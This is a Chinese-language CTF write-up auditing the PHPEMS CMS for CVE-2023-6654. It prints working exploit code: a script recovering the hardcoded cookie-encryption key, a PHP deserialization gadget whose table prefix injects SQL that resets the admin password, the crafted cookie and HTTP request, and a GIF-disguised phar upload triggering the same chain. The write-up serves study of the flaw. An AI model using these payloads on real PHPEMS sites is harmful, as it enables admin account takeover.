代码审计 - PHP - 再谈西湖论剑PHPEMS

CTF真有趣

前言

这是2024西湖论剑的一道1解题,觉得小小PHP真随便审吧,结果又被现实给打爆了,这个CMS整体算是审了快五个小时了,真正的学习完后真的很佩服出了这个题的师傅以及挖出该CVE的师傅,确实真的很强,学到了

题目信息

flag2,登录管理员后台,看用户列表就有了。这里是 flag2 提交处,flag格式为 DASCTF2{***}, 只提交括号内的字符串。PHPEMS源码下载分流:链接:https://pan.baidu.com/s/1qK5ox8s4zknefQGsxSWy2g?pwd=DASC提取码:DASC—来自百度网盘超级会员V5的分享

hint1: 1. 管理员账号在靶机里已经改过了,教师账号也删了,不要刻舟求剑,自己想其他办法吧,谢谢。

  1. 2. CVE-2023-6654

image

审计

路由分析

09a1db789f39fc100181d5f2817fff1

直接看如何加载类的

image

先引入几个模块和配置

/lib/config.inc.php​(配置)

/vendor/vendor/autoload.php​(项目没有 删掉了)

image

然后调用run()

image

跟进make​方法

image

所以make​方法就是加载参数.cls.php这个类,并且进行初始化(调用_init()​),传入ev​这个类后还默认初始化了strings

image

往下就是传参进行具体的控制器的映射了

漏洞分析

SQL注入

直接跟index.php的流程可以发现他在没有Cookie的情况下会进行设置sessionid

先看栈堆

  1. session.cls.php:163, PHPEMS\session->setSessionUser()
  2. session.cls.php:85, PHPEMS\session->getSessionId()
  3. session.cls.php:18, PHPEMS\session->__construct()
  4. init.cls.php:54, PHPEMS\ginkgo::make()
  5. app.php:13, PHPEMS\app->__construct()
  6. init.cls.php:109, PHPEMS\ginkgo->run()
  7. index.php:8, {main}()

其实就是默认会有一个加解密Cookie的流程,这个session类是专门处理cookie的,他每次在实例化的时候都会运行到getSessionId

image

image

可以发现他是传了getClientIp()​方法作为数组的某个键值对作为参数的,看下getClientIp​方法

image

可控

接下来再去看setSessionUser

image

其实看下来发现就sessionip可控吧

image

但是这里有一个$key = CS;​密钥加解密,可以找到在配置文件中找到硬编码的key

image

然后尝试通过该硬编码尝试对Cookie进行解密

image

此时我们在来看看encode和decode规律

image

  1. <?php
  2. define('CS','1hqfx6ticwRxtfviTp940vng!yC^QK^6');
  3. function encode($info)
  4. {
  5. $info = serialize($info);
  6. $key = CS;
  7. $kl = strlen($key);
  8. echo $kl;
  9. echo "\n";
  10. $il = strlen($info);
  11. echo $il;
  12. for($i = 0; $i < $il; $i++)
  13. {
  14. $p = $i%$kl;
  15. echo $p."fff".$i."\n";
  16. $info[$i] = chr(ord($info[$i])+ord($key[$p]));
  17. }
  18. return urlencode($info);
  19. }
  20. function decode($info)
  21. {
  22. $key = CS;
  23. $info = urldecode($info);
  24. $kl = strlen($key);
  25. $il = strlen($info);
  26. for($i = 0; $i < $il; $i++)
  27. {
  28. $p = $i%$kl;
  29. $info[$i] = chr(ord($info[$i])-ord($key[$p]));
  30. }
  31. $info = unserialize($info);
  32. return $info;
  33. }
  34. $info="%92%A2%A4%A0%F3%A9%AE%A2%9D%99%C5%DD%E7%D9%DF%D8%C2%D9%9DVk%E9%A8%9AS%B3e%94%B3%AF%8F%9B%94%99%A8%CB%D9%97%AB%9A%C4%AF%82%AF%D6%9E%D8%CE%87%D2%9Df%92%AD%A2%CBR%DD%A8%80%8C%BE%98ok%8A%E4%CB%EB%A9%DD%D8%D1%E0%C2%9A%AF%D9%B0%A2%8E%92jfg%A4%9E%95Q%A7t%80%8C%BE%98gg%A2%93%D9%DD%A9%E7%D2%D2%E5%C6%E1%E1%CB%E2%D2%C1%D9%ADVk%DF%A8%98X%A9y%96%88%82%94ng%A3%EE";
  35. $inffo = ["sessionid" => "6bd1ec17eaa71a807b8be3bd2b74d1de","sessionip"=> "127.0.0.1","sessiontimelimit"=>"1706877686"];
  36. encode($inffo);
  37. //print_r(encode($inffo));
  38. //var_dump(decode($info));
  39. ?>

关键在与for循环,encode方法就是将明文每32位+key的ascii输出得到密文,decode就是将密文每32位-key的ascii输出 得到明文,就相当于是a+b=c ,key是等于密文-明文

所以就可以逆推出密文,因为我们可以控制的IP,那我们就可以通过密文和明文的比对来吧Key给逆推出来,首先先伪造出127.0.0.1

X-FORWARDED-FOR: 127.0.0.1

明文就为

  1. s:9:"sessionip";s:9:"127.0.0.1";

那我们就要选取密文了

得到的密文为

  1. %2592%25A2%25A4%25A0%25F3%25A9%25AE%25A2%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25D9%259DVk%25E9%25A8%259AS%25B3e%25C0%2582%25AD%2591kf%259F%25D4%259B%25A8m%25DA%25A0%25C4%25AA%2586%25DA%25A4%259D%25D8%25A0%25B5%25D4%259Cl%2591%25D7%25D0%25A0V%25B1%25A9%2580%258C%25BE%2598ok%258A%25E4%25CB%25EB%25A9%25DD%25D8%25D1%25E0%25C2%259A%25AF%25D9%25B0%25A2%258E%2592jfg%25A4%259E%2595Q%25A7t%2580%258C%25BE%2598gg%25A2%2593%25D9%25DD%25A9%25E7%25D2%25D2%25E5%25C6%25E1%25E1%25CB%25E2%25D2%25C1%25D9%25ADVk%25DF%25A8%2598X%25A9z%258E%2584%257B%2590ij%25A3%25EE

先URL解码一次

  1. %92%A2%A4%A0%F3%A9%AE%A2%9D%99%C5%DD%E7%D9%DF%D8%C2%D9%9DVk%E9%A8%9AS%B3e%C0%82%AD%91kf%9F%D4%9B%A8m%DA%A0%C4%AA%86%DA%A4%9D%D8%A0%B5%D4%9Cl%91%D7%D0%A0V%B1%A9%80%8C%BE%98ok%8A%E4%CB%EB%A9%DD%D8%D1%E0%C2%9A%AF%D9%B0%A2%8E%92jfg%A4%9E%95Q%A7t%80%8C%BE%98gg%A2%93%D9%DD%A9%E7%D2%D2%E5%C6%E1%E1%CB%E2%D2%C1%D9%ADVk%DF%A8%98X%A9z%8E%84%7B%90ij%A3%EE

这个就是加密过后的结果,那么我们就要写出逆推脚本,来获取32位可控明文和密文来进行key的推算

  1. // 可控32位明文 :"sessionip";s:9:"127.0.0.1";s:1
  2. // 密文只能猜测以32位为倍数
  3. function reverse($payload1,$payload2)
  4. {
  5. $il = strlen($payload1);
  6. $key= "";
  7. $kl = 32;
  8. for($i = 0; $i < $il; $i++)
  9. {
  10. $p = $i%$kl;
  11. $key .= chr(ord($payload1[$i])-ord($payload2[$p]));
  12. }
  13. return $key;
  14. }
  15. $info="%92%A2%A4%A0%F3%A9%AE%A2%9D%99%C5%DD%E7%D9%DF%D8%C2%D9%9DVk%E9%A8%9AS%B3e%94%B3%AF%8F%9B%94%99%A8%CB%D9%97%AB%9A%C4%AF%82%AF%D6%9E%D8%CE%87%D2%9Df%92%AD%A2%CBR%DD%A8%80%8C%BE%98ok%8A%E4%CB%EB%A9%DD%D8%D1%E0%C2%9A%AF%D9%B0%A2%8E%92jfg%A4%9E%95Q%A7t%80%8C%BE%98gg%A2%93%D9%DD%A9%E7%D2%D2%E5%C6%E1%E1%CB%E2%D2%C1%D9%ADVk%DF%A8%98X%A9y%96%88%82%94ng%A3%EE";
  16. $info = urldecode($info);
  17. $info = urldecode($info);
  18. $info = substr($info,64,32);
  19. echo reverse($info,':"sessionip";s:9:"127.0.0.1";s:1');

image

但是远程的靶机上的key不对,所以一样办法重新逆一下得到远程的key为 4b394f264dfcdc724a06b9b05c1e59ed

image

由于现在主要的目标就是去进入后台,那么我们就要去寻找sql注入的点,并且这个sql注入是包含在了反序列化漏洞中的,于是就找到了Session::__destruct​中的执行sql语句的点

image

看上去感觉是预编译了,但是这也就是作者牛逼的地方了吧,首先先跟进makeUpdate​方法(真的是恰好就是更新语句)

代码比较多,但是都得看,所以贴出代码

  1. //生成update sql
  2. public function makeUpdate($args,$tablepre = NULL)
  3. {
  4. if(!is_array($args))return false;
  5. if($tablepre === NULL)$tb_pre = $this->tablepre;
  6. else $tb_pre = $tablepre;
  7. $tables = $args[0];
  8. $args[1] = $this->_makeDefaultUpdateArgs($tables,$args[1]);
  9. if(is_array($tables))
  10. {
  11. $db_tables = array();
  12. foreach($tables as $p)
  13. {
  14. $db_tables[] = "{$tb_pre}{$p} AS $p";
  15. }
  16. $db_tables = implode(',',$db_tables);
  17. }
  18. else
  19. $db_tables = $tb_pre.$tables;
  20. $v = array();
  21. $pars = $args[1];
  22. if(!is_array($pars))return false;
  23. $parsql = array();
  24. foreach($pars as $key => $value)
  25. {
  26. $parsql[] = $key.' = '.':'.$key;
  27. if(is_array($value))$value = serialize($value);
  28. $v[$key] = $value;
  29. }
  30. $parsql = implode(',',$parsql);
  31. $query = $args[2];
  32. if(!is_array($query))$db_query = 1;
  33. else
  34. {
  35. $q = array();
  36. foreach($query as $p)
  37. {
  38. $q[] = $p[0].' '.$p[1].' ';
  39. if(isset($p[2]))
  40. $v[$p[2]] = $p[3];
  41. }
  42. $db_query = '1 '.implode(' ',$q);
  43. }
  44. if(isset($args[3]))
  45. $db_groups = is_array($args[3])?implode(',',$args[3]):$args[3];
  46. else
  47. $db_groups = '';
  48. if(isset($args[4]))
  49. $db_orders = is_array($args[4])?implode(',',$args[4]):$args[4];
  50. else
  51. $db_orders = '';
  52. if(isset($args[5]))
  53. $db_limits = is_array($args[5])?implode(',',$args[5]):$args[5];
  54. else
  55. $db_limits = '';
  56. if($db_limits <span style="font-weight:bold;"> false &amp;&amp; $db_limits !</span> false)$db_limits = $this->_mostlimits;
  57. $db_groups = $db_groups?' GROUP BY '.$db_groups:'';
  58. $db_orders = $db_orders?' ORDER BY '.$db_orders:'';
  59. $sql = 'UPDATE '.$db_tables.' SET '.$parsql.' WHERE '.$db_query.$db_groups.$db_orders.' LIMIT '.$db_limits;
  60. return array('sql' => $sql, 'v' => $v);
  61. }

我们可以发现传入的数组虽然有用但是不可控,但是可以发现$db_tables​属性是该类初始化的赋值的,那么通过反序列化就可以进行初始化这个属性从而达到一个sql注入的效果(这种sql我感觉还是非常牛逼的,因为无视了预编译吧,直接赋值拼接的)

所以EXP参考EDI的EXP(让我写真写不出来)

  1. <?php
  2. namespace PHPEMS{
  3. class session{
  4. public function __construct()
  5. {
  6. $this->sessionid="1111111";
  7. $this->pdosql= new pdosql();
  8. $this->db= new pepdo();
  9. }
  10. }
  11. class pdosql
  12. {
  13. private $db ;
  14. public function __construct()
  15. {
  16. $this->tablepre = 'x2_user set userpassword="e10adc3949ba59abbe56e057f20f883e" where username="peadmin";#--';
  17. $this->db=new pepdo();
  18. }
  19. }
  20. class pepdo
  21. {
  22. private $linkid = 0;
  23. }
  24. }
  25. namespace {
  26. $info = "%2595%259Cfs%25AF%25D9lon%2586%25D9%25C8%25D7%25D6%25A0%25A1%25A2%25CA%2594X%259D%25AC%259Ccg%259DS%2596i%259B%259B%25C7%2599%2598kp%2595%259Eg%2598%2598%25C7%25CA%259B%259A%2594lid%2593%2592%259B%2594i%25C3fh%2598c%2587p%25AC%259F%259Dn%2584%25A6%259E%25A7%25D9%259B%25A5%25A2%25CD%25D6%2585%259F%25D6qkn%2583ah%2599g%2592%255Ee%2591b%2587p%25AC%259F%2595j%259CU%25AC%2599%25D9%25A5%259F%25A3%25D2%25DA%25CC%25D1%25C8%25A3%259B%25A1%25CA%25A4X%259D%25A2%259Cal%2593g%259Bhk%2595%259Bm%259D%25B0"; // 远程环境
  27. $info = "%2592%25A2%25A4%25A0%25F3%25A9%25AE%25A2%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25D9%259DVk%25E9%25A8%259AS%25B3e%258F%258A%25AE%25BFii%2599%25D4%259C%25DAl%25A5%259A%2599%25A8%25B8%25AD%25DA%259E%25A7%2599%2584%25D6%259E%2595d%25DB%25A1%25CBU%25ABt%2580%258C%25BE%2598ok%258A%25E4%25CB%25EB%25A9%25DD%25D8%25D1%25E0%25C2%259A%25AF%25D9%25B0%25A2%258E%2592jfg%25A4%259E%2595Q%25A7t%2580%258C%25BE%2598gg%25A2%2593%25D9%25DD%25A9%25E7%25D2%25D2%25E5%25C6%25E1%25E1%25CB%25E2%25D2%25C1%25D9%25ADVk%25DF%25A8%2598X%25A9y%2594%2589%257D%2594ia%25A3%25EE"; //本地环境
  28. $info = urldecode($info);
  29. $info = urldecode($info);
  30. $info = substr($info,64,32);
  31. function reverse($payload1,$payload2)
  32. {
  33. $il = strlen($payload1);
  34. $key= "";
  35. $kl = 32;
  36. for($i = 0; $i < $il; $i++)
  37. {
  38. $p = $i%$kl;
  39. $key .= chr(ord($payload1[$i])-ord($payload2[$p]));
  40. }
  41. return $key;
  42. }
  43. define(CS1,reverse($info, ':"sessionip";s:9:"127.0.0.1";s:1'));
  44. echo CS1;
  45. function encode($info)
  46. {
  47. $info = serialize($info);
  48. $key = CS1;
  49. $kl = strlen($key);
  50. $il = strlen($info);
  51. for($i = 0; $i < $il; $i++)
  52. {
  53. $p = $i%$kl;
  54. $info[$i] = chr(ord($info[$i])+ord($key[$p]));
  55. }
  56. return urlencode($info);
  57. }
  58. $session = new \PHPEMS\session();
  59. $array = array("sessionid"=>"123123123", $session);
  60. echo serialize($array)."\n";
  61. echo(urlencode(encode($array)))."\n";
  62. }

然后得到Cookie

  1. %2595%259Ces%25AF%25D9lon%2586%25D9%25C8%25D7%25D6%25A0%25A1%25A2%25CA%2594X%259D%25AC%259Cio%2585b%2597hj%2597%2597e%2594f%255Bo%25CFlfo%25B3%25A0%2594%2598%259DY%2582%257C%25B1u%2583%25B5%2595%25D5%2595%25A8%25D6%259A%25D4%25A3%255B%259F%2597n%25DD%25A6sm%25A0T%25A9%2599%25D7%25D9%25CC%25D3%25D1%25A0%2596V%259C%25A3p%2599s%2584af%2594b%2596fj%2587%259F%25A7%259CisV%25D6%2596%25A5%25A7%25D5%25D2%2585%259F%25B2qcg%259BR%2586%25AA%2589%25A7%257D%2588%25BF%25A1%25C9%25A4%25AC%25D6%25D0V%259Ces%25AF%25D9lgk%259E%2588c%25B4%25AB%2587w%2581%25B4%258C%25A6%25C6%25A8%25D5%25A1%25A1c%2595%25C7Wt%25B4%259Ee%2594m%255B%2584%25AE%2582%257B%2581%25B7%25C2%25D3%25C9%25D3%259B%25A1V%259Bap%25DD%25AC%259Cbe%259DSe%2585%2581%25B5%25A9%2581%25B5%258F%25A9%2599%25D6%2596%25A54%25D0%25CF%25D1%25CF%25CC%259BTo%25CAjf%259D%25B6%25D5jm%259DS%25D9%2596%259B%25D1%25C9%25A4%25D4%2598%255Bo%25D9lnl%259E%2588%25DB%2596%25C2%25AC%25A5%2599%25D3P%25A9%25C7%25AD%2582%25A5%25A8%25C8%25A3%25D5%2596%25AC%25D8%25DB%25A3%25D4%2597vV%25CBcf%2595%25C8%25C9%2596%259D%2597p%2594%2595%2596i%2597%25C4%259B%25C7ek%25C8a%259Al%259F%2597%2594%259A%259Akl%2599%2588R%25AD%259C%25C9%25D8%25C8%2584%25D8%25AA%2597%25A6%25CF%2591%25A3%25C7v%2584%25A0%259A%25C4%2595%25D2%259E%25A7%2587%259FW%258F%2560%255Bo%25E3%25A5pf%259E%2588%25C7%25C6%2585r%2581n%2592bp%2584%2589%25AA%2580z%25B0%2584%25C1%25A5%259E%25D5%25C8%25A3%2584mjn%25E1%25A5pf%2594%25A0%2585d%25B3%257F%2582y%25AE%2583%2592%25D2%259E%25D2%2594%25A4c%259D%25CE%25A3%25A4%25CE%25C8V%259D%259Csd%25A1%25AF%25B3%25B1

由于是以这种形式传的Cookie

image

所以报文为

  1. GET /index.php HTTP/1.1
  2. Host: exam.cyan.wetolink.com
  3. Accept: */*
  4. Accept-Encoding: gzip, deflate
  5. Accept-Language: zh-CN,zh;q=0.9
  6. X-FORWARDED-FOR: 127.0.0.1
  7. Cookie: exam_currentuser=%2595%259Ces%25AF%25D9lon%2586%25D9%25C8%25D7%25D6%25A0%25A1%25A2%25CA%2594X%259D%25AC%259Cio%2585b%2597hj%2597%2597e%2594f%255Bo%25CFlfo%25B3%25A0%2594%2598%259DY%2582%257C%25B1u%2583%25B5%2595%25D5%2595%25A8%25D6%259A%25D4%25A3%255B%259F%2597n%25DD%25A6sm%25A0T%25A9%2599%25D7%25D9%25CC%25D3%25D1%25A0%2596V%259C%25A3p%2599s%2584af%2594b%2596fj%2587%259F%25A7%259CisV%25D6%2596%25A5%25A7%25D5%25D2%2585%259F%25B2qcg%259BR%2586%25AA%2589%25A7%257D%2588%25BF%25A1%25C9%25A4%25AC%25D6%25D0V%259Ces%25AF%25D9lgk%259E%2588c%25B4%25AB%2587w%2581%25B4%258C%25A6%25C6%25A8%25D5%25A1%25A1c%2595%25C7Wt%25B4%259Ee%2594m%255B%2584%25AE%2582%257B%2581%25B7%25C2%25D3%25C9%25D3%259B%25A1V%259Bap%25DD%25AC%259Cbe%259DSe%2585%2581%25B5%25A9%2581%25B5%258F%25A9%2599%25D6%2596%25A54%25D0%25CF%25D1%25CF%25CC%259BTo%25CAjf%259D%25B6%25D5jm%259DS%25D9%2596%259B%25D1%25C9%25A4%25D4%2598%255Bo%25D9lnl%259E%2588%25DB%2596%25C2%25AC%25A5%2599%25D3P%25A9%25C7%25AD%2582%25A5%25A8%25C8%25A3%25D5%2596%25AC%25D8%25DB%25A3%25D4%2597vV%25CBcf%2595%25C8%25C9%2596%259D%2597p%2594%2595%2596i%2597%25C4%259B%25C7ek%25C8a%259Al%259F%2597%2594%259A%259Akl%2599%2588R%25AD%259C%25C9%25D8%25C8%2584%25D8%25AA%2597%25A6%25CF%2591%25A3%25C7v%2584%25A0%259A%25C4%2595%25D2%259E%25A7%2587%259FW%258F%2560%255Bo%25E3%25A5pf%259E%2588%25C7%25C6%2585r%2581n%2592bp%2584%2589%25AA%2580z%25B0%2584%25C1%25A5%259E%25D5%25C8%25A3%2584mjn%25E1%25A5pf%2594%25A0%2585d%25B3%257F%2582y%25AE%2583%2592%25D2%259E%25D2%2594%25A4c%259D%25CE%25A3%25A4%25CE%25C8V%259D%259Csd%25A1%25AF%25B3%25B1
  8. Referer: http://phpems.xyz/index.php
  9. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36

Phar(非预期)

  1. app/weixin/controller/index.api.php中的file_getcontents

image

直接去访问下这股路由发现返回了以下信息

  1. ]]>
  2. </ToUserName>
  3. <FromUserName>
  4. <![CDATA[
  5. text
  6. 信息已接收
  7. 1707039415
  8. 0

image

其实可以说明是接受XML数据的了,不过还是去看看代码

image

跟踪getRev()

image

直接接收XML数据并且进行数组处理

获取Type​ 其实都是XML格式的子集,所以很轻松的拿到需要传参的数据,构造请求报文为如下

image

  1. zjacky
  2. zjacky
  3. image
  4. zjacky
  5. phar:///etc/passwd
  6. 1707039415
  7. xxx

紧接着就是找上传点了,上传点位于

  1. app/document/controller/fineuploader.api.php

image

直接进行上传,构造上传报文

image

发现有返回地址,非常方便

  1. {"success":true,"thumb":"files\/attach\/images\/content\/20240204\/17070404291915.jpg","title":"1.jpg"}

然后生成下phar上传即可触发反序列化了

  1. <?php
  2. namespace PHPEMS{
  3. class session{
  4. public function __construct()
  5. {
  6. $this->sessionid="1111111";
  7. $this->pdosql= new pdosql();
  8. $this->db= new pepdo();
  9. }
  10. }
  11. class pdosql
  12. {
  13. private $db ;
  14. public function __construct()
  15. {
  16. $this->tablepre = 'x2_user set userpassword="e10adc3949ba59abbe56e057f20f883e" where username="peadmin";#--';
  17. $this->db=new pepdo();
  18. }
  19. }
  20. class pepdo
  21. {
  22. private $linkid = 0;
  23. }
  24. }
  25. namespace {
  26. $o = new \PHPEMS\session();
  27. $filename = '111.phar';// 后缀必须为phar,否则程序无法运行
  28. file_exists($filename) ? unlink($filename) : null;
  29. $phar=new Phar($filename);
  30. $phar->startBuffering();
  31. $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
  32. $phar->setMetadata($o);
  33. $phar->addFromString("foo.txt","bar");
  34. $phar->stopBuffering();
  35. system('copy 111.phar 111.gif');
  36. }
  37. ?>

然后进到后台管理拿到第二个flag

image

其实有个RCE,不过参考下文章吧,我就没去看那个了

总结

整体上这个CMS还是非常值得去复现学习的,因为他的框架稍乱,引用也难受,但也是一种挑战了,真强啊这些师傅

参考链接

https://mp.weixin.qq.com/s/P7akQHPp4saCl16E0Kw4tA

  • 发表于 2024-04-22 10:00:02
  • 阅读 ( 16633 )
  • 分类:漏洞分析

0 条评论

Zacky
Zacky

16 篇文章

站长统计